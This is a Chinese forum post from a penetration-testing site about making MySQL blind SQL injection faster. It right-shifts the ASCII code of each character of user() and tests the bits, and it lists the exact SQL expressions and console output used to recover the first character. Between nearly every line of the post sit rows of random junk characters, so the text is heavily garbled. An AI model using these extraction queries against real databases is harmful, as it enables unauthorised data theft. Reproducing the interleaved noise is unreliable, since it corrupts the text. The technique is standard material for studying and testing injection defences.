中国网络渗透测试联盟
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
[打印本页]
作者:
admin
时间:
2013-3-7 13:25
标题:
关于通过对8bit的ascii做右位移提高mysql盲注效率
通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
/ O4 q( ?2 B; d. s
: D2 K' v/ ^9 |- K+ l
[5 ], W! R* \$ ]! h" S9 h( @
1 N8 L% j2 \: T0 @# y
下面将以查询mysql数据库当中user()的第一位为例:
/ N2 P$ l: a& C4 o' f+ \# R* h1 i
0 u+ u& F: ^* {# s0 n- L) D+ `
7 H# j+ ]# K: V8 W3 d) R2 A& t
4 }8 H' J! G8 h7 h5 t% [
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
9 e9 \( y! m6 Y
$ W! A" A; F0 e+ ?" D
3 A. A( X8 k; n( k$ P. j
3 Z* L0 I, v) l# V. E$ W
首先执行如下sql语句:
$ p& ^# j& P1 l9 b; u
/ u" B1 ?8 N- h* c+ E# X4 {; [' `
. s( c# S0 N' `( Y( i2 }8 X
( y( S3 d: _; E- b2 F2 R; C! u
mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
$ n L8 g4 v$ h" f$ [9 E
* {0 p/ K" E" b0 l0 }# f. l
5 O; z$ k9 z" D
) r6 |# U9 K& M9 m6 Y Z1 {/ C
我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
: I1 {6 `; Q" l, U
$ U& \; ?' J. Q! f0 Q
3 K. @) V* k9 i2 q
5 ^7 a" G" |3 v
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
- n. U4 |* i. l; O
$ n2 U7 n5 k% [/ K
7 M* H; M6 {4 z' r. N
5 g/ Z6 _' s& ~ j
如果运算结果为1,说明第一位为0,不为1
0 i. J) R# C# P* C2 d6 X' c
$ e# v# ~" D6 v' A+ s
8 z, P4 o7 r2 \) [3 {
; ^2 w) l( m9 K# c5 l! t$ }
+————————————–+
* @0 W5 h0 e9 f) {( @) [7 _! l- |9 m
% j; K8 T3 ]8 j: E% W" h) B8 T3 J, p
| (ascii((substr(user(),1,1))) >> 7)=0 |
+ T* f0 ~' Z' m+ `7 {: h
! D! g" E: Y* N
+————————————–+
/ u( X8 {* m: [' _, {
. Y" L. O6 v) ]4 V& x& ~' {0 r
| 1 |
$ v2 g4 b5 X9 o: G
2 {/ z9 y3 f: m( L8 K9 F/ M2 A
+————————————–+
8 L9 u2 N6 D9 o' m- o% B5 t! T. R
9 B8 N# d2 o5 y
1 row in set (0.00 sec)
$ z5 B% a7 S5 |8 @2 |$ j& T
7 r A4 ^# l+ Y# K! A" |- t
这样我们就确定这个8bit的ascii的第一位为0
1 U, J0 R1 E% |! f2 D
+ D; `: {( m) L% ~4 c2 c# q
# B- R; _4 D- R5 z0 J( _
& b# {$ Q4 `9 j4 o
第二次我们来做6次右偏移来确定前两位
, @- U9 Z7 }2 `( f
9 B$ {! t o' M" u2 K: ^
9 }+ w6 D" n5 g# N
/ `' r; h; R; |3 }
前两位可能是01或00,即依然可以与0做比较,
; [- N! f; i) O6 S
/ k+ H* Z! a: P( @! W
mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
2 E. s- v% A' Y
8 T/ V Z/ ~% u7 p! T6 }8 f, y
+————————————–+
" X* ~0 J% h* w+ ~
: u- a6 C1 E" {5 H3 J9 H
| (ascii((substr(user(),1,1))) >> 6)=0 |
: W4 J. ~& y! g' X# A2 F- [
) W* R' q: Y$ S3 _
+————————————–+
- F. y6 q, U1 }: R
5 u, n; r4 N6 K
| 0 |
. [# F4 g; t. { [8 c
. z" a: ~8 h3 s: G: l+ C$ z3 E' S
+————————————–+
; F- N3 m& o4 ~+ B2 ?; {7 R9 c
$ D; y) V/ m: T+ ^- X- a
1 row in set (0.00 sec)
& l: u# G3 Y' o& J* ~, p
8 x# a& l0 b, X2 y
9 L2 D) H! ^" U7 ]+ z. P8 ?; }5 C
% p8 ~6 Y0 f3 D
结果为0,即第二位为1
' t. s# a% s; K& L" R7 V- b3 }% n
, A% E: x6 P1 p" `, w7 R
d- ]6 _+ O R/ G( o I" o! }
' W0 ~ \* ~ p. U3 q
开始猜测前三位为010或011
3 M% |, O& Y" m. H! {% _
1 o! [; Q: X0 J/ Q7 W0 f1 d
3 Q6 C& Y6 x1 ?. U- i4 a2 g0 b7 W
6 @5 z# j4 |- i# U+ r1 \
让我们看看010和011的ascii码是多少
) `1 s' d2 b9 p/ u
8 n) x/ N7 E* h0 N8 E
$ V2 ^$ [' C, S4 ?
& e6 q8 e8 I" o P+ P, U
分别查询select b’011′ select b’010′
0 L8 H" B' Z4 p& D; t
0 L! w5 A+ n2 V" m, H
+ b5 [. U/ }* d. S/ U' V
5 q, ?$ d6 B: g. E' t3 u5 i
获得结果 010 = 2 011 = 3
! ~5 a4 D- G% a) v# |
1 b: y8 ?. h( `& F) |/ R
) A6 Q* T( [; Q% S9 M# t0 ]: E/ [
8 Z* H7 W9 ]$ z' F( m
执行如下sql:
! `' t9 g8 e9 M" P8 @$ ]/ Y5 H
% u O' v6 y7 q4 a( M1 }3 k; B. X
+ [! a9 Z& k2 G# P1 z" A
( m* C t' s0 B/ m, \' u
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;
2 V' T3 m* }: x. h( d# H1 Y
0 X6 B: ~! I- N8 D3 h# s$ D) C" E. M
+————————————–+
, H1 e% W/ ~; t U( u% }
, I4 W) Z4 o7 A& k+ L0 T& r
| (ascii((substr(user(),1,1))) >> 5)=2 |
8 p, B+ B- }, c" @4 N
0 k% x( z- L7 Y6 S P6 v( \
+————————————–+
; |2 m+ o0 e6 o/ U, _. k7 M1 [% z
5 x8 f j8 v# g6 S% N o+ x
| 0 |
5 `" B4 {3 Y# L% j* C4 I
3 N' a4 n7 h4 O2 ~
+————————————–+
3 `; r7 W8 \# T! n n
1 J+ E) P. ~3 x# S- Q3 r# d
即前三位不为010,而是011
" F4 z1 N) l8 _. O) |! W
' [+ y' e% E" x. U7 Y2 v
: x; j) C3 y$ Z7 r9 J$ S1 C( J! |
, n& F# k7 p# q' H7 q7 D
直到获得最后一位
' ?2 [* {# T& r% r2 U9 Z4 x
/ Q( S7 p/ P" C$ i ]0 f
" f- I4 H5 T: r- s7 [ H/ P
) K' R4 D$ U0 h( P. G
最终结果为:01110010
% @- n8 S' ?' y P: b# f
- V0 U5 h2 C' P( f5 V T& `
" a' a% |% Z. \5 m E( l
- y4 t# l4 X' F3 y6 s# c i4 u: K
转换一下:
" z% A+ q4 o( b3 T2 _! {
* L0 ~( T) X4 `' v9 q
$ r* g* }- U+ Y/ T: x! F @7 {
0 e/ @- `7 q) a; t- w! f3 C
select b’01110010′
! G2 R/ S5 F# [
; [9 g0 I1 L6 z0 R$ E/ M
W5 P$ r% A; b0 x: _$ O
' k: z2 W- m T8 s1 r
查询结果
4 C7 C X2 Q: l
5 b% C3 ?: I4 D) ~9 s* N7 b/ D: r" g4 e
2 O6 l7 [9 X9 n4 E& F
' T, M5 |1 j1 Z3 G% W
+————-+
2 c6 X$ R# T* S+ U
8 f* S/ ^ l& E) e
| b’01110010′ |
& I4 H( T* j; H* F9 n
+ L, O$ B9 s/ @# ?) J
+————-+
, o, d% z- o0 M
8 p" s6 \4 g9 Y$ |
| r |
, Y4 s- s/ a1 `' l' ?
) b& r0 g2 z, m# x+ Q- z/ I
+————-+
- t% D% t9 s- W' X1 h9 U9 x
% U$ [- L6 V9 Y0 C8 ~! X& E3 m
1 row in set (0.00 sec)
% a- P* k, }) R7 o
) p/ W: V; r' a" t& ^( Q
* [2 M" t" s* e/ M' v: u8 n
! r: V- s4 `! h. P6 L4 T9 x& |( g
这样我们就获得了user()的第一位.其它位依此类推
6 ~0 n5 P9 A M
& j$ o6 j: S( B, `: U
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2